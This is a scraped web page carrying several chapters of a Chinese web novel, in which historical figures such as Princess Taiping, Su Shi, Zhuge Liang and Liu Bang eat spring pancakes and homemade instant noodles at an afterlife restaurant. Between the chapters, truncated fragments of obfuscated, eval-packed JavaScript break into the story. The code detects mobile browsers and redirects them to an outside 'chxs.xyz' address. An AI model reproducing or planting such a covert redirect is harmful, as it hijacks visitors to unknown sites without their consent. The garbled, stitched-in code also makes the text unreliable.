l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960046|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点口水都没有忍住。 “哦?东坡先生竟也对此地有所赞誉,想来那掌柜的手艺确是非凡了。”上官婉儿自然知晓东坡居士品味不俗,能得到他的称赞,那食肆想必有其独到之处。 “今天正是立春,不知道这食肆里会有什么时令美食,可得赶紧一点才好。”太平公主催促道,话语中带着几分急切与兴奋。 若是殿下念书能有这般勤勉就好了,见太平公主急急忙忙的样子,上官婉儿在心里感叹道。 寒暑交替、日升月落,那四时八节,便是人与天地不言而喻的默契。 所谓「立春」,是二十四节气之首,起于寒潮未退之时,代表万物萌动、更生之始,草木蔓发,春山可望,虫鱼振跃,天然便带几分氤氲水气,裹挟着春意与烟雨而来。 在那春江水暖、百草萌生之时,除了踏青赏花、祝祭祈福,最重要的,还是吃上那一口地里冒出来的清新,让春意在舌尖上鲜活跃动。 春到人间草木知,而唐棠向来从不辜负时节,前些日子她便想去西湖边采撷些柳芽,可惜错了时日,还好尚有荠菜、蕨菜、野葱等质嫩味鲜的野菜待她品尝。 只是那冬春交界时,几阵春风伴着细雨,一丛丛水嫩嫩的野菜便不约而同从田埂上、小河边冒了出来,倒是让人犯了选择困难症,不知该从哪一味尝起算好。 而唐棠的应对方式,却是以不变应万变,既然不知该从哪一味尝起,那索性贪心把这清鲜一网打尽便是了。 唐棠的手法娴熟而近乎诗意,她轻柔地在擀成薄片的面片涂抹着油酥,那原本不起眼的小面团仿佛被赋予了生命,在行云流水间展开成一张轻盈至极、几乎透明的薄饼。当这些薄饼被层层叠叠地叠放在一起,送入蒸笼中稍候片刻,蒸汽缭绕间,那轻薄如锦、圆润金黄的筋饼便逐一呈现。 那仿若是一张张精心布局的网,能轻而易举包裹住整个春天。 “嗯,看上去还不错嘛。”唐棠眸中带着几分自得,这柔腻软韧的筋饼做得如何,只需稍稍瞥一眼那透光程度便能所知一二。据说那老字号里的师傅所制的筋饼,即便是三层相叠也能让底下的书册字迹透晰,她虽未能亲身试验自己所制的筋饼能透至几重,然而这光可鉴人的质感,却已是明证。 这筋饼虽然单吃也别有一番风味,但终究要包裹些什么,才算得上是完美。唐棠早已将各色蔬食切成细丝,分门别类地码放在盘中,一眼望去,鲜灵的翠意,酱炒的肉丝,金黄的蛋皮,如此种种色彩绚烂、芳香四溢,当真是筋饼的绝配。 而这富有勃勃生机的春盘与筋饼相配,便是这冬春交界之时最美的滋味——「春饼」。 太平公主与上官婉儿到食肆里的时候,刚巧赶上这一道春饼新鲜出炉,让她忍不住扬起眉头,表扬起自个儿的先见之明,“怎么样婉儿,我就说得抓紧吧,你看这时间刚刚好。” 8. Chapter 008 春饼(二) “殿下果然料事如神。”上官婉儿早已摸透了太平公主的性子,深知此刻得顺着毛捋,“这下我们可是有口福了。” 唐棠抬眼望去,眸光轻转间,便认出了这两位踏门而入的少女。一位簪着大红宫花,一袭红裳宛若携着暮光红霞而至,眼尾上扬,唇薄而润,透出一股天生的贵气,正是那大唐最骄傲而恣意的小公主——太平公主。 而另一位身形略显消瘦,却别有一番风韵。雪色长裙配以鹅黄披帛,素雅中透出一丝沉静,言谈间总带着淡淡的书卷气,仿佛每一个字都浸润过墨香,便是那曾高居朝堂之上,以一支纤笔称量天下士子的上官婉儿。 唐棠刚迎上去,还没待她开口,太平公主却已迫不及待地开口点菜,声如珠落玉盘,清脆悦耳,“掌柜的!快给我们上一份春盘,配菜嘛,每样都来一些,让我们尝尝鲜。” 说罢,她转头看向身侧的上官婉儿,眼中闪过一丝询问之色。上官婉儿微微一笑,轻轻摇头,“依殿下所言便是。” “好嘞,两位请稍等片刻。”唐棠笑着应和道。这春盘的配菜都是事先准备好的,只等春饼现蒸出锅,便可上桌享用。 太平公主轻步踏入店中,正准备寻处地方落座,眼角余光却瞥见了一道熟悉的身影,正是此前向她推荐此间食肆的苏轼,她心中微喜,莲步轻移走向那边。 “东坡先生,真是巧了,竟会在这儿遇见你。”太平公主歪着头,轻声打趣道,“这立春时节,不正适合外出踏青作诗,先生为何却在这食肆里坐着?莫不是被这店中的美食给绊住了脚?” 苏轼闻言抬头,眼中闪过一丝讶异,随即化为温暖的笑意,他轻轻摇头道:“公主说笑了。这大好春光,自是不容错过。但在我看来,这漫天春色,却都已被我卷入这饼中了。” 这苏轼说归说,手上的动作却并未停歇,这一年里最初的勃勃生机,就这么被他轻巧一卷送入肚里了,他细细品味着唇齿间的滋味,“人间有味是清欢,这后世春盘的滋味果真非凡。” 此句在后世流传甚广,只是少有人知的是,当年苏轼的这句感慨,却恰好也是因这春盘而作。 “这翠缕红丝,金鸡玉燕,光是瞧这颜色便已知足了。”上官婉儿也轻轻点头。 “这后世的人儿可真懂享受。”那边的刘邦感叹出声,这位汉高祖从前在沛县便是出了名的跟谁都能唠,到了忘川也依旧交际广泛,与谁都能聊得投机,“比我们那时的五辛盘不知繁复多少。” “五辛盘?”太平公主听着这名字,好奇地问道。 “汉时便有春时品五辛盘的传统,以葱、蒜、韭、芸薹、胡荽五辛对应五脏,旨在驱散体内寒气。”苏轼对这春盘的来历了如指掌,三言两语便解开了太平公主的疑惑,“然而那五辛的味道确实有些过于浓烈,因此到了唐宋时期,立春之时便改用应景鲜嫩的春蔬,切作缕缕细嫩的青丝,便是所谓春盘了。” “这五辛盘听着就不太好吃,还是我们后来的春盘好。”太平公主这才恍然大悟,又说道,“不过唐时可没有这般精致的春饼。” “我们那时虽有卷饼,但与后世相比也是逊色几分。”苏轼又笑道,“这后世的春盘也是琳琅满目,让人一时之间竟不知从何处吃起了。” “两位的春饼好了。”唐棠端着盘子过来,只见那重重叠叠的筋饼如同苍山雪顶,冒出层层诱人的白气,淡淡麦香也轻轻萦绕。 “有劳了,放那边便是。”太平公主闻言,微微颔首,示意唐棠将春饼放于一旁,又转向苏轼,温婉地说道,“东坡先生,我们就不打扰您用餐的雅兴了。您且慢慢享用,我们自去寻个座位。” “公主太客气了。”苏轼笑着说道,脸上洋溢着和煦的笑容,“可惜不知佛印这秃子今天作何去了,白白错过这顿佳肴。待他回来,我定要向他细细描述,届时怕是又要惹得他一番埋怨了。” 说罢,他轻轻一笑,继续低头品尝起眼前的春饼来。 “怎么,我脸上有花吗?看得这般出神。”落座后,太平公主轻笑着跟上官婉儿打趣,“还不赶紧尝尝这春饼,要是等它凉了,可就没那么好吃了。” “我只是觉得,殿下您似乎与以往有些不同了。”上官婉儿回过神来,有些不好意思地低下头。虽然眼前的太平公主还是那般鲜衣怒马,还是那般爱憎分明,但那种锐气与锋芒,连同身上的棱角都变得柔和了不少。 “你走后,我确实经历了很多。”太平公主闻言,眼中闪过一丝怅然,但转瞬间,她的声音重新变得昂扬起来,“好了,不说这些了。还是先吃这春饼吧。“ 世间料理,千变万化,却总离不开一个“鲜”字。任何一种食材,不分贵贱,最要紧的就是新鲜。而这春盘,便是取这春天里最心尖儿上的一口鲜,挑选的尽是时令新鲜之物,这一盘子春盘,就仿佛一副春光图,青红黄白,色彩斑斓,仿佛是将这春回大地的烂漫春色都浓缩定格于此。 新鲜的荠菜会略带些许糙口,就仿佛是田野间带着几分粗犷的风,但焯水后就会嫩滑得如同春日的溪流,弥漫着青青的乡野气息。而那绿叶红梗的菠菜,更是春盘里的大拿,咀嚼间别有一番风味在齿间。 再看那厚薄均匀、弹性十足的蛋皮,宛如初春乍开的油菜花,粉嫩鹅黄,看着就让人心生欢喜,透出一股娇气可人之态。而那粉白润滑的粉皮,荤素相宜,更是老少皆宜,好像没有人会不喜欢。 那以分格相间的春盘中,还有如玉般晶莹的萝卜、碧绿鲜嫩的蒌蒿芽、黄澄澄的韭黄,每一件都仿佛是春日的馈赠,更有那酱肉被精细地切成细丝,如此种种,不一而足,令人垂涎三尺。 “正如东坡先生所言,这一时竟不知该从何下手。”上官婉儿感叹道。 太平公主则笑着说:“那便每样都尝一些吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960047|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然同样是摊开筋饼,码好配菜,沾染酱汁,但俩人的风格却截然不同。太平公主总是有些贪心地将这卷饼卷了个圆圆滚滚,叠起来时都稍显费劲,甚至让人会担心会不会破开。而吃的时候则是双手握饼,一口咬下,酣畅淋漓,最是大唐女子率直豪迈的风采。 而上官婉儿则是极为风雅的姿态,不光是卷起春饼时力求松紧刚好、不破不漏,吃饼时也是左手托底,右手扶饼,再缓缓送入嘴里,每一口都是细细品味、慢慢咀嚼。 但不论以何种方式品味,所感受到的滋味却是相似的,那迎着热气送入口中的春饼,第一口总是那金黄透亮的筋饼的柔韧麦香,稍稍咀嚼咽下再吃上第二口,便能体味到春日鲜菜的清新脆爽,再连缀上第三口、第四口,鲜嫩多汁的肉丝与酱汁的咸香便巧妙融就这春日绝响。 细细咀嚼间,独特的清香在舌尖荡漾,无限的春意与春光才下舌尖,又上心间,真可谓一箸入口、三春不忘。 上官婉儿将手中的最后一口春饼送入嘴里时,刚一抬头,却发现太平公主目光怔怔地看着自己,显然已是看了许久了。 “怎么,我脸上也生出花来了吗?”上官婉儿擦了擦自己的手,笑着问道。 “只是,忽然想起了许多事情。”太平公主嘴角微扬,她的眉眼与则天陛下很是相似,只是少了一分冷冽,多了一丝柔情,她重复道,“很多很多事。” 上官婉儿心里了然,她们的确是一同经历了许多事。 那是凤仪殿里的朗朗诵读,是洛阳雨后的绮丽彩虹,是河畔林荫的举子对弈,也是朝堂之上的权略周旋,鱼死网破时的反戈一击,以及—— 茔前芳冢的静听风声。 “我本以为,我们会再也见不到了。”来这忘川之后,太平公主总是这般专注地看着上官婉儿,仿佛是怕她一不小心从自己的世界里走了丢了,再也寻不到了。她的眼眶有些泛红,声音微微有些颤抖,“你不知我那夜有多悔,为何未能多算一步,为何未能亲自入宫,为何……” 上官婉儿默然,来至忘川后,她早已知晓那夜的前后始末。 那夜,李隆基与太平公主联手,拥禁军入宫,诛杀韦后、安乐公主,史称——唐隆之变。 那夜,上官婉儿不急不慢地手持着那封拥奉李唐皇室的遗诏,送予气势汹汹的李隆基,本以为能保自己一命,却被一同斩于旗下。而一同被斩去的,还有太平公主的左膀右臂。 那夜,潇湘水断,宛委山倾。 “但是,我们还是重逢了。”上官婉儿伸手,轻轻拭去眼前那人儿的泪珠,“椒花之声,我也都听见了。” 宫墙飞檐,如笼似牢,即便是大唐最为骄傲最为恣意的公主,也飞不出那座皇城。 但是,她们却能在这里,一同饮酒作诗,共享佳肴,做忘川城里最无忧无虑的姑娘。 及至千年万岁,椒花颂声。 9. Chapter 009 方便面(一) 这忘川食肆的后厨向来是闲人免进的禁地,即便是好奇心最重的苏轼,也只是在门外远远观望几眼。 但凡事总有例外,这忘川自然也有天不怕地不怕的主,非要三天两头往这后厨里钻,就比如太平公主这连武则天都管不住的小魔头。 “掌柜的,你这是在做什么呀!”太平公主探过头来好奇问道,她看似大摇大摆溜了进来,但在后厨里却是小心翼翼,生怕磕着碰着锅碗瓢盆。虽说这位掌柜总是温温柔柔客客气气的,但她总有种直觉——若是惹到这位生气,怕是母亲也救不了她。 不得不说,虽说这性情洒脱的太平公主在忘川里总是闹得鸡飞狗跳,但却不曾真正惹恼谁,只是让人觉得有些不拘小节,这自深宫大院里练就的敏锐直觉倒是帮了她不少忙。 “这个嘛……”唐棠的表情也有些纠结,不知道该作何解释,她面前的蒸笼里刚刚出笼的细面热气腾腾,“正做方便面呢。” 话一出口,连她自个儿都觉得有些匪夷所思。 “方便面?”这样的回答丝毫没能解决太平公主的困惑,她歪了歪头,说道,“这汤饼的模样好生奇怪,竟是这般歪歪扭扭的。” 汉唐时期,各种吃食不似后世那般分类精细,面食统称为饼,而面条需入汤煮熟,自然就被称为汤饼。不过那时的汤饼大多是面片子或是宽条子,像是食肆里常用的精致细面,太平公主也是来了忘川以后才见到。 只是她平日里在食肆里尝到的面条或粗或细,那总归是笔直规整的,却不似此刻见到的面条这般卷曲起伏。 唐棠却是在心中微叹了一口气,忘川里可没有轧面机,这如波浪般卷曲的面条,可是她揉成面团切作面条,再用筷子逐根压制卷曲的,可费了她不少功夫。但要完美还原方便面的形制,似乎别无他法。 “咦?”然后太平公主看到了更令她不解的一幕,“这汤饼是犯了什么天条?怎么还要下油锅?” 这话实在可爱得很,连唐棠都被逗笑了。细面已然出笼,但唐棠却不曾将其盛在碗碟里,反而是细心摊平,再轻轻置入油锅之中,竟是要再以热油炸上一遍。 “这是后世的吃法,面条压成这般波浪形,再经过油炸,既能长期储存,又不易碎,便于长途携带。”唐棠耐心解释道,“到时候若是想吃,拿开水冲泡片刻便可入食,只图个方便,因此被唤作方便面。” “这后世的人儿也太金贵了。”太平公主皱眉看着,边嘟囔边摇头,“出门在外带个馕饼也就罢了,怎么还非得吃面,这荒郊野岭的又去哪儿寻热水。” 能被金生玉养的太平公主这般评价,想来这后世的日子确实有些奢侈。 而唐棠却只是笑笑,太平公主不过瞧着这做面饼的过程便已觉得麻烦,却不知这调料包更为繁复。 单说那菜干,便不是晾干的,而是用热风吹干的,丝毫不染尘气火气。而那调料包与油包拾掇起来也是件精细活,饶是唐棠也费了不少功夫。她当时答应时心直口快,后来才发现并不如想象中那般容易,却是反悔也来不及了,只得尽善尽美做到最好。 说到底,这在厨房里仿制方便面,本就是件费力不讨好的事情,要的并不是厨艺,而是耐心。 但极巧的是,唐棠并不厌烦等待。 她似乎总是在等,等花开,等夏来,等蝉鸣,等秋实,等冬雪,等这忘川从衰败枯竭重新盈满,等这瓦砾废墟再度焕发荣光,等这泱泱华夏英魂重聚于此。 再等某个时刻,拨开云雾,见到光明。 就像此时此刻,她等着这油锅里的面饼炸透,再沥干油分一样。 就在唐棠忙着将方便面的面饼打包的时候,食肆里正热闹着,其中最引人注目的,莫过于那位手持羽扇的诸葛亮,轻轻摇曳间尽显从容不迫之态。那洁白纶巾束发一丝不苟,身后一袭鹤氅随风轻扬,清淡眸色恬静深长,宛如云间白鹤遗世独立,只是眉宇间不知为何似有一点忧虑。 “诸葛丞相今儿怎么有空来这食肆走走?”上官婉儿轻声问道,她总是与太平公主形影不离,今天自然也是一同来的,而一旁的苏轼那总是水波不兴的表情,这会儿也显出一丝触动。 诸葛亮并不像其他名士那般住在忘川的坊市附近,而是独居于郊外的宅院,怡然自乐躬耕于陇亩之间,只偶尔至千机苑内与墨翟探讨机关器械。 因此,忘川中人常是久闻其名而难见其人,就连神往已久的苏轼,也未能与其促膝长谈,却没成想竟在此地遇见了。 “前些日子,我在万卷楼里寻了本后世的杂记。”诸葛亮轻摇着羽扇,开口答道,“里面谈到,若予孔明不限量的方便面,北伐之事能否成功。听闻这食肆的掌柜通晓后世趣闻,尤其善作后世炊食,便想过来问问这方便面是何物。” 他说着前面那句话的时候还尚且带着笑意,但说到北伐时,声调却不由自主地放缓下来,神色也稍微显得有些黯然,连带着周边的气氛也低落了许多。 上官婉儿前世执掌宫中制诰多年,曾被称作巾帼宰相,但她每读史书,心绪总是难平,尤其对蜀汉篇章感怀颇深。 她眼前这位诸葛丞相,曾因三顾之恩毅然出山,为匡扶汉室而鞠躬尽瘁,六度北伐虽功败垂成,但万千黎民无不念其恩德。若是大唐有如此英才护佑江山社稷,又怎会有后来的盛极而衰、安史之乱呢? 而苏轼也是静默不语,他早年意气风发不知世事艰辛,博览史书时,读到诸葛施计夺下益州时颇觉不忿,还曾作诗讥讽。虽说此计从局势而观可谓高明,但从道义出发,却有巧取豪夺之嫌,更何况刘备与那刘璋同属汉室宗亲,同室操戈,岂不是害刘备失了仁义之名。 及至苏轼屡遭贬谪,历经八州,看过人间险恶,自觉壮志难酬,方知诸葛于乱世之艰辛,才明白当年自己不过书生意气,只是庸人呓语而已。 出师未捷身先死,长使英雄泪满襟。 食肆内一时无言,那角落里瘫着看闲书的刘邦却是忍不住打破了寂静,“方便面?为何名字这般古怪?” “高祖陛下!”先前刘邦闷在角落里不出声,诸葛孔明不曾发觉,这时才发现大汉朝的开国皇帝竟在此处,立时便准备站起身来行礼,却被刘邦给拦住了。 “既然身在忘川,前尘已断,凡世里那些繁文缛节就算了吧。”刘邦浑然不在意地摆了摆手,豁达说道,“我亦不过是一缕英魂而已。” “高祖陛下,我……” 诸葛孔明想开口说些什么,却又不知该从何说起。他来到忘川之后,便已知晓身后之事,季汉灭亡,幼主被俘,汉室之隆也终究化为泡影,身为汉臣又有何脸面去见先帝呢? “方便面来啦!”太平公主兴高采烈地撩开后厨的布帘,从里面欢快地跑了出来,见食肆内气氛似乎有些不太对劲,她往后退了两步,困惑道,“婉儿,我是不是出来的时机不太对?” “哪有的事。”上官婉儿连忙拉着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960048|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手坐了下来,为后边的唐棠让出了道路,“这时机刚刚好。” 太平公主这一打岔,倒是让屋内原本的凝重气息消散不少。 “这便是诸葛先生想要品尝的「方便面」。” 虽然话是这样说,唐棠端上来的却只有一个空碗,以及重重叠叠的油纸包。 别问唐棠为何用的是油纸,为了重现这后世的方便面,她已是竭尽所能了,总不能让她在忘川炼石油做塑料吧? 她自然也可以将面煮好配上调料再端上来,但那样可就体现不出方便面的特色了。若不是说想品尝方便面的是这位历朝历代都备受尊崇的诸葛丞相,加上唐棠自个儿也觉得有趣,她可不会费这么多力气。 “这该如何下手啊?”上官婉儿在旁边瞧着也觉得稀奇,本想开口问唐棠,见到旁边的太平公主一副“我知道快点问我”的表情,便配合地开口问道,“殿下,您知道是怎么回事吗?” “那是当然!”太平公主神采奕奕地说道,“我刚刚可是全程看着呢!除了掌柜的,可没有人比我更清楚了!首先呢,要先拆开那个最大的面饼包!” 有幸能为这诸葛丞相指点迷津,这让太平公主有点得意起来,这不管怎么说也能算个小诸葛吧? “这样吗?”诸葛亮循言将那封着的面饼包拆开,色泽金黄的炸面饼落入碗中,发出“哐当”一声轻响。 “这饼的模样倒是稀奇。”苏轼这会却是拿出了老饕的专注姿态,“是以这样的面饼就水吃吗?” “咦?你怎么知道要就水吃?”太平公主扭过头来讶然道,她可是刚刚缠着唐棠问了半天,才搞明白这方便面该如何进食。 “公主久居宫中,可能对民间吃食不太了解。”一说起吃食来,苏轼便是口若悬河滔滔不绝,“这民间很早就有「棋子面」,是以面团揉搓后切成方棋形状,蒸熟暴晒后便可随身携带,以热水冲泡即可食用,行军打仗时也常备作军粮。” “如此说来,这棋子面竟是方便面的前身。"太平公主恍然大悟,“东坡先生果然博学多才!” 在他俩在旁边高谈阔论的时候,诸葛亮已陆续拆开油纸包,神情专注地将每一包调料小心翼翼地倒入碗中,连一滴一粒也不浪费,“这样便可以了吗?” 他的手指修长白皙,骨节分明,不论是弈棋执笔,亦或是做其他事情,都是如此赏心悦目。 “听他们说的,还要往里添些热水吧!”刘邦不知何时从柜子旁把水壶提了过来,为诸葛亮的碗里斟上热气腾腾的开水。 “高祖陛下……”大汉开国皇帝亲自为自己斟水,这却是诸葛亮前世未曾想过的待遇。 “嗨,别跟我说客套话,我可不爱听。”刘邦在这忘川过惯了潇洒日子,最烦的就是摆皇帝架子,搞君臣有别那一套,想当年他功成归乡,与沛县父老饮酒高歌,好不快活,可有人顾忌他是何身份? “只是感叹,往日听人说,玄德公为人处世,颇有高祖遗风。”诸葛亮怀念道,“如今看来,此言不虚。” 诸葛亮不禁回忆起过往,先帝刘备虽贵为皇室宗亲,但从未摆出一副高高在上的君主架子,不论是朝堂之上的重臣,或是蜀地乡间的普通百姓,都可与他同席而坐,同桌而食,与他此时所见的汉高祖相比,确是有几分相似。 “毕竟是我老刘家的子孙。”听他这样说,刘邦连连点头,满脸得意,“我老刘家就是英杰辈出……等等?这面怎会这么香?” 10. Chapter 010 方便面(二) 方便面的特性就在于此,明明瞧着不太显眼,但若是以热水一激,那瞬间激荡起的暖香便随着热气放肆地攻城略地,直往人鼻子里钻。旁观的刘邦咽了咽口水,连忙向唐棠问道,“掌柜的,这面还有吗?给我也整一碗!” “苏某倒也想尝尝了。” “婉儿,我们也来一碗尝尝吧!我很好奇到底是什么味道呢!” “可是,殿下您刚刚不是才用过膳了吗?”上官婉儿的目光游离至太平公主稍显圆润的小腹,看得后者小脸一红,“所以我们俩人同吃一碗不就行了!” “好好好……”上官婉儿只得依她。 “幸好我还备了一些。”唐棠不得不为自己的先见之明鼓掌,此前她就想到了这一出,“我这就端过来。” 若说这方便面里最难复刻的内容,便是这酱料包了,那是唐棠以上等牛骨,加上各种调料历经文火熬煮,直至水分尽敛,仅余精华而成。这小小一包看似貌不惊人,实则暗藏乾坤,犹如静待时机的卧龙,只待热水一唤,便能瞬间绽放出无可匹敌的鲜美。 方便面的面条较细,虽易于入味,但一旦浸泡过久,那轻盈柔韧的面条便会失了骨力,最终化为一团难以分辨的软泥。因此待泡上五六分钟,唐棠觉着时间差不多了,便提醒道:“诸葛先生,已经可以用了。” 诸葛亮闻言便掀开碗上压着的盖子,仔细端详,只见汤汁浓郁奶白,表面漂起些浅淡的油星,模样别致的细卷面条浮在汤面,间或夹杂些饱满的肉粒与清新的蔬菜,显得格外诱人。 诸葛亮并没有急着品面,而是低头啜饮了一口面汤,还未入口,那大块牛肉的醇厚气息便已扑鼻而来,热乎的汤汁极鲜极美,还隐隐透着些蔬菜的清香,顺着喉咙落入肚中,更是让人觉得身心都一同暖和起来。 他用筷子轻轻拌动,再挑上一箸面条送入口中,迷蒙水气便随他的动作随之翻涌。那些看似细软如丝的面条,在汤汁的浸泡下变得滋味醇厚,但并非前世汤饼那般软烂毫无嚼劲,入口时在唇齿间咬动时,能感受到面条特有的滑顺与劲道。 “这味道……很不错。”品尝到预料之外的美味,诸葛亮他的脸上却没有露出多少欣喜的神色,反而怔了怔,眉宇间似乎缠绕上了新的困惑。 这困惑,并非源于这道料理本身,而是源自于那味道所勾起的无尽思绪。 诸葛亮缓缓环视周边,太平公主正毫不顾忌皇家仪态,呼噜呼噜把面条唆进嘴里,而高祖陛下则是等不及泡面的时间,竟是直接掰了块面饼开始吃了起来,那咔嚓咔嚓的声音在他的嘴里作响。 无论如何,先将这碗面吃完吧,他这样想着。 从第一口到最后一口,那滋味,既不过分浓烈,也不失其真味,如同细雨润物,吃完唇齿留香,香味久久不散。 碗里已是空空荡荡,诸葛亮却目光游离,再度陷入了沉思之中。 “诸葛先生,怎么一脸严肃的样子?”唐棠先好奇发问了,“是这面不好吃吗?” “不,很美味。”担心唐棠误会,诸葛亮连忙答道,“我只是在想,我在这里吃到的方便面,与后世书中所提到的方便面,会是一样的吗?” “这一碗里,不仅有面有菜,更有油有肉……”没等唐棠回答,诸葛亮又盯着空碗喃喃道,“我刚刚在想,这方便面难道是后世珍馐?可这名字,听上去又不太像。” 若是后世珍馐,那总归会取个好听的名字,这方便面的名字言简意赅,却粗俗直白,还不如此前苏轼所提到的棋子面呢。 “刚刚先生所品尝的面,与后世相比,自然味道要好上几分。”唐棠笑吟吟地说道,“就比如那汤的滋味会寡淡一些,面的口感有所欠缺,牛肉也不会那般大块。” 毕竟是经唐棠这位忘川名厨烹制而成的方便面,比起后世的工业制品,在味道这方面自然是不可同日而语。 唐棠听闻后世有个笑话,说这方便面就算卖上一万桶,那头牛大概也只刚刚受了点皮外伤,由此可见那方便面里的牛肉当真只有点碎屑,哪似她这般大气。 “但是,抛开味道不谈,这面里的东西可是不多不少。”唐棠认真说道,“刚刚先生所说的面、菜、油、肉,这方便面里应有尽有,若依口味不同,还有炖鸡、鱼板、鲜虾等诸多类型呢。” “听上去还挺不错的!那掌柜的下次要不再做个鲜虾的尝尝?”太平公主提议道,见唐棠的目光瞥过来,似乎有些不善,再回想起刚刚后厨里的繁复工序,又当场改口,“呃,不一定是方便面嘛,就普通的面也行。” “所以,我刚刚一直在想,那书中所言,为何会是方便面呢?”饶是以丞相之智,这个问题也是困扰了他好半天,为何后世之人,偏偏要以方便面来助自己北伐呢? “这……”听闻诸葛亮所言,上官婉儿也想不出答案,不禁陷入了思索。 “哈哈……”苏轼却是忍不住笑出声来,“丞相不必思虑太多,我想那后世之人,只是将这方便面视作糟糠一类的果腹之物,想着若兵粮不尽,汉军不必担忧辎重之困,能否一举踏平吴魏,光复汉室。” “果腹之物?”诸葛亮早已见惯大风大浪,表情总是那般云淡风轻,但听到苏轼这番话时,却还是露出了些微惊异神色,“后世之人,竟以此等美味为果腹之物?” 即便如唐棠所言,这后世的方便面比起他刚刚所品尝到的有所差别,但总归是汉时难得一见的美味珍馐。后世竟以此比作糟糠,实在超乎诸葛亮的想象。 “是啊,你可要知道,后世寻常人家若是不吝钱财,可是一年四季都能吃得上螃蟹的呢。”苏轼还是对那螃蟹念念不忘,“这方便面就如棋子面一般,冲泡简易,不过是后世应急时偶尔用上一番罢了。” “原来如此。”诸葛亮长舒一口气,书中疑问自然厘清,他沉默片刻,却是摇了摇头,“若是有不限数量的方便面,我汉军所至,岂止北伐,又何止吴魏。” 诸葛亮不禁回想起汉建兴十二年,那时先帝已崩殂十余年,曾经的故友也飘零散落,兵少将寡的北伐之路,终究是到了无力回天的尽头。而他自己也病殁于五丈原,再也不能兴复汉室。 若当真有粮草不断,那北伐之路,又当如何呢? “依我所见,能提出这般说辞的,大概是后世稚童吧。”上官婉儿分析道,“习惯了太平岁月,不曾挨过饥馑,也不曾见过战乱,才会有如此天真构想。” 食肆内一时沉默不语,白骨露于野,千里无鸡鸣,易子相食,以骨为薪,这不仅是三国时期,更是每一个乱世的真实写照。 在那时,对于黎民百姓来说,哪怕每日能吃到一碗飘着糟糠米皮的米汤都算奢侈,更何况方便面这等美味。 “呼……这时节,喝上一碗热汤可真舒服。”角落里的刘邦把喝得精光的碗放下,咂了咂嘴,说道,“若真有源源不断的方便面,哪里还需要北伐,只需传令四野,入蜀地者,泡面管够,我包管一年不到,蜀地人口便可倍增。” 诸葛亮深以为然地点了点头,三国时期民不聊生,天下多战乱,逃荒者不计其数,若真有一地粮食充裕,开关纳民,那人口何止倍增之数。 “正是正是!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960049|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太平公主的想法最为跳脱,“若是北伐时有守将死命不降,那便在城外生起薪火煮上泡面,诸葛丞相再借来东风把这香气往城里一送,再说一句只要投降就能吃上泡面,那守军自然闻风而降了!” 苏轼想着那有趣场面,也不禁莞尔,“如此一来,至多三年,那曹孟德孙仲谋得自缚来降。天下既定,丞相便可于江南之地操练水师,再以十年时间通海路,东至极东之瀛洲,西至远航之欧罗巴洲,南至炎热之非洲,北至冰封之北冰洋诸岛,疆域无垠,四方来朝,这大汉将成就千古未有之大一统盛世。” 听着苏轼所言,众人不禁为之神往,刘邦更是抚掌大笑,“那可真是太好了,若真能如此,我大汉便可传至千秋万代,哪有后边魏晋唐宋什么事。” “只可惜……”诸葛亮眼中的光彩闪烁片刻,还是化作一声叹息,“我终究没能复兴汉室、还于旧都,未能使……日月复明、社稷复安。” 苏轼亦是一时默然,思绪万千。遥想当年,诸葛丞相于五丈原上星落秋风,那一刻,季汉的灯火仿佛也随之熄灭,再无复燃之望。不过三十载光阴,那曾经辉煌一时的季汉,便如风中残烛,黯然熄灭,消散于历史的尘埃之中。 若时光可逆,北伐之路真能一帆风顺,那会是怎样一番景象?兴许大汉的旗帜将永远飘扬在九州之上,将如日中天,光耀千古,这数百年的山河破碎,中原陆沉之景,便不会上演。 然而,历史滚滚向前,不容假设,也不容更改。 但这样的说法,有人并不赞同。 “谁说你没能光复汉室呢?”刘邦的目光轻轻扫过旁边站立的苏轼等人,又与诸葛亮目光对视,“你可知如今天下子民仍自称汉人,所用文字被称作汉字,所说语言被称为汉语?” 汉高祖此言虽为问句,却字字斩钉截铁,掷地有声,不容他人置喙,当真是霸气至极,也终于显露出这看似惫懒的大汉开国皇帝的真实面目。苏轼本想说些什么,但与太平公主对视一眼,终究未能开口。 